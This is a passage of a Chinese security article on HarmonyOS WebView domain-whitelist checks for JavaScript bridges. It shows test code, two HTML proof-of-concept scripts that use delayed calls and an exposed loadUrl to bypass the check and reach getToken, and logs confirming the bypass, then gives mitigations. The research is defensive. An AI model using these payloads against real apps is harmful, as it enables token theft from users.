  34. hilog.info(0x0000, "test", "event => %{public}s",event.data);

  35. //this.url2 = event.data.toString();

  36. let this.url2 = this.controller.getUrl();

  37. hilog.info(0x0000, "test", "UrlIntercept url: %{public}s",this.url2);

  38. if( checkDomain(this.url2,"0") )

  39. return false;

  40. return true;

  41. })

  42. .javaScriptProxy({

  43. object: this.testObj,

  44. name: "objName",

  45. methodList: ["getToken"],

  46. controller: this.controller,

  47. })

  48. }

  49. }

  50. }

checkDomain不做修改,再次执行延时执行的POC

  1. <script>

  2. var test = function(){alert(window.objName.getToken());};

  3. setTimeout(test,90);

  4. document.location.href='https://www.whitesite.com';

  5. </script>

输出日志如下,可以看到“完美”解决了延时攻击!

  1. 12-03 21:52:05.808 21621-21621/com.example.mywant I A00000/test: event => http://192.168.3.126/redirect.html

  2. 12-03 21:52:05.808 21621-21621/com.example.mywant I A00000/test: UrlIntercept url: http://192.168.3.126/redirect.html

  3. 12-03 21:52:05.808 21621-21621/com.example.mywant I A00000/test: in check!!!

  4. 12-03 21:52:05.808 21621-21621/com.example.mywant I A00000/test: CheckDomain host: 192.168.3.126

  5. 12-03 21:52:05.852 21621-21621/com.example.mywant I A00000/test: event => https://www.whitesite.com/

  6. 12-03 21:52:05.852 21621-21621/com.example.mywant I A00000/test: UrlIntercept url: http://192.168.3.126/redirect.html

  7. 12-03 21:52:05.852 21621-21621/com.example.mywant I A00000/test: in check!!!

  8. 12-03 21:52:05.852 21621-21621/com.example.mywant I A00000/test: CheckDomain host: 192.168.3.126

  9. 12-03 21:52:05.897 21621-21621/com.example.mywant I A00000/test: event => https://www.whitesite.com/cn/?ic_medium=direct&ic_source=surlent

  10. 12-03 21:52:05.897 21621-21621/com.example.mywant I A00000/test: UrlIntercept url: http://192.168.3.126/redirect.html

  11. 12-03 21:52:05.897 21621-21621/com.example.mywant I A00000/test: in check!!!

  12. 12-03 21:52:05.897 21621-21621/com.example.mywant I A00000/test: CheckDomain host: 192.168.3.126

  13. 12-03 21:52:05.925 21621-21621/com.example.mywant I A00000/test: in check!!!

  14. 12-03 21:52:05.925 21621-21621/com.example.mywant I A00000/test: CheckDomain host: 192.168.3.126

  15. 12-03 21:52:05.925 21621-21621/com.example.mywant I A00000/test: not allow getToken

如此我们真的可以防住攻击者绕过白名单校验了吗?不一定,且看下一小节JavascriptInterface once more。

JavascriptInterface once more

这部分的详细前置知识需要读者了解The-Tangled-WebView-JavascriptInterface-Once-More,篇幅有限这里就做一些简述。在chromium中存在两种导航的方式,browser-initiated和render-initiated方式,browser-initiated方式通常来自用户交互行为的导航跳转,对于浏览器而言是可信的,浏览器会在跳转页面未完成加载(uncommitted)的情况下设置pendingentry为导航的url。而在安卓下webview.loadUrl即为封装的browser-initiated方式的导航,理论上这种接口不应给js提供可以触发的方式,如果js可以通过一些方式触发webview.loadUrl加载白名单的链接,那么将打破browser-initiated状态下pendingentry的可信度,且安卓接口webview.getUrl是在browser-initiated状态下获取的pending_entry,那么这里获取到的url数据即不可信的。这里所说的js通过一些方式触发webview.loadUrl加载白名单的链接,即为hearmen1在议题中提出的3种攻击模式:

  1. 开发者对外注册了webview.loadUrl方法的js接口;

  2. 在webview的如shouldOverrideUrlLoading等回调接口中以直接或间接的方式提供webview.loadUrl的调用,包括但不限于业务逻辑为外部传入的数据为非法的情况下,业务容错调用webview.loadUrl加载白名单作为新的跳转;

  3. deeplink可以通过signleTask模式启动Webview组件;

(详细的攻击方式请参考议题原文)。 那么在文章开始处,我们介绍了纯鸿蒙的webview的软件架构,其底层使用的是cef封装的chromium,那么纯鸿蒙的接口webwebview.WebviewController.loadUrl是否也是browser-initiated状态的导航操作?那么我们从代码跟踪的角度看一下webwebview.WebviewController.loadUrl的底层实现,调用栈如下

  1. // /base/web/webview/interfaces/kits/napi/webviewcontroller/napi_webview_controller.cpp

  2. 201 DECLARE_NAPI_FUNCTION("loadUrl", NapiWebviewController::LoadUrl), in Init()

  3. 2221 napi_value NapiWebviewController::LoadUrlWithHttpHeaders(napi_env env, napi_callback_info info, const std::string& url, const napi_value* argv, WebviewController* webviewController)

  4. // /base/web/webview/interfaces/kits/napi/webviewcontroller/webview_controller.cpp

  5. 497 ErrCode WebviewController::LoadUrl(std::string url) //in LoadUrl() function in OHOS::NWeb::WebviewController

  6. 506 ErrCode WebviewController::LoadUrl(std::string url, std::map<std::string, std::string> httpHeaders) //in LoadUrl() function in OHOS::NWeb::WebviewController

  7. // /root/Huawei/aMaster/third_party/chromium/patch/0003-ohos-1115.patch

  8. 63289 +int NWebDelegate::Load(

  9. // ...

  10. browser->GetMainFrame()->LoadHeaderUrl(CefString(url), CefString(extra));

  11. // /root/Huawei/aMaster/third_party/chromium/patch/0003-ohos-1115.patch

  12. 16433 +void CefFrameHostImpl::LoadHeaderUrl(const CefString& url,

  13. + const CefString& additionalHttpHeaders) {

  14. + LoadURLWithExtras(url, content::Referrer(), kPageTransitionExplicit,

  15. + additionalHttpHeaders);

  16. +}

  17. --> CefFrameHostImpl::LoadURLWithExtras()

  18. --> CefBrowserHostBase::LoadMainFrameURL()

  19. --> CefBrowserHostBase::Navigate()

  20. --> NavigationControllerImpl::LoadURL()

  21. --> NavigationControllerImpl::LoadURLWithParams()

  22. --> NavigationControllerImpl::NavigateWithoutEntry()

  23. // ...

从代码分析我们可以看到web_webview.WebviewController.loadUrl同样是browser-initiated状态下的操作,那么最后的问题在上一小节f中最后给出的校验代码还能否起到防护的作用?我们按照最直接的攻击模式1的思路来写个测试代码,多注册一个loadUrl的接口给外部

  1. // 其余校验代码不变

  2. testObj = {

  3. getToken: () => {

  4. //hilog.info(0x0000, "dami", "in getToken");

  5. if( checkDomain(this.url2, "1") ){

  6. hilog.info(0x0000, "test", "allow getToken");

  7. }else{

  8. hilog.info(0x0000, "test", "not allow getToken");

  9. }

  10. },

  11. myloadurl: (myurl: string)=>{

  12. this.controller.loadUrl(myurl);

  13. }

  14. }

修改一下测试的poc

  1. <script>

  2. var test = function(){window.objName.getToken();};

  3. // 以下方式直接跳转

  4. setTimeout(test, 70);

  5. window.objName.myloadurl("https://www.whitesite.com");

  6. </script>

日志输出如下,可以看到在上一小节中的校验方式在某些环境下也还是存在被绕过的可能

  1. 12-04 16:39:20.963 4401-4401/com.example.mywant I A00000/test: event => http://192.168.3.126/redirect.html

  2. 12-04 16:39:20.963 4401-4401/com.example.mywant I A00000/test: UrlIntercept url: http://192.168.3.126/redirect.html

  3. 12-04 16:39:20.963 4401-4401/com.example.mywant I A00000/test: in check!!!

  4. 12-04 16:39:20.963 4401-4401/com.example.mywant I A00000/test: CheckDomain host: 192.168.3.126

  5. 12-04 16:39:21.063 4401-4401/com.example.mywant I A00000/test: event => https://www.whitesite.com/

  6. 12-04 16:39:21.063 4401-4401/com.example.mywant I A00000/test: UrlIntercept url: https://www.whitesite.com/

  7. 12-04 16:39:21.063 4401-4401/com.example.mywant I A00000/test: in check!!!

  8. 12-04 16:39:21.064 4401-4401/com.example.mywant I A00000/test: CheckDomain host: www.whitesite.com

  9. 12-04 16:39:21.146 4401-4401/com.example.mywant I A00000/test: in check!!!

  10. 12-04 16:39:21.146 4401-4401/com.example.mywant I A00000/test: CheckDomain host: www.whitesite.com

  11. 12-04 16:39:21.146 4401-4401/com.example.mywant I A00000/test: allow getToken

这类问题主要原因是开发者对chromium的一些机制和开发的规范理解不到位,导致的可信边界被打破,所以这类问题的修改站在开发者的角度来说,可以根据议题中的3种攻击模式开展防御思路:

  • 不对外暴露webview的loadUrl能力,或者js可触发的路径;

  • 避免在onUrlLoadIntercept等接口中调用webview的loadUrl能力;

  • 关注deeplink中调用了webview的loadUrl,且相应Ability的LaunchType/LaunchMode为SINGLETON;

  • (以现在纯鸿蒙的迭代速度,说不准下个版本会有规避方案呢;)

五. 小结

在这篇文章中我们介绍了纯鸿蒙相关的webview应用的开发以及安全相关配置与编码,以及在移动端涉及较多的白名单校验的问题。相信通过这篇文章可以让纯鸿蒙应用的开发人员写出更加安全的代码。感谢rebeyond和hearmen1前辈们的研究工作,最后补充一句,作者水平有限,如有错误或者未考虑到的情况请留言或私信指正 ; )


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2MDY2ODc5MA==&mid=2247483813&idx=1&sn=a233c8c228e5f520124ab056aebf437a&chksm=ce2397bcf9541eaaf652b757834ba3b046cd77798a79c1455626f53af33f264d62536dbd2d55&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh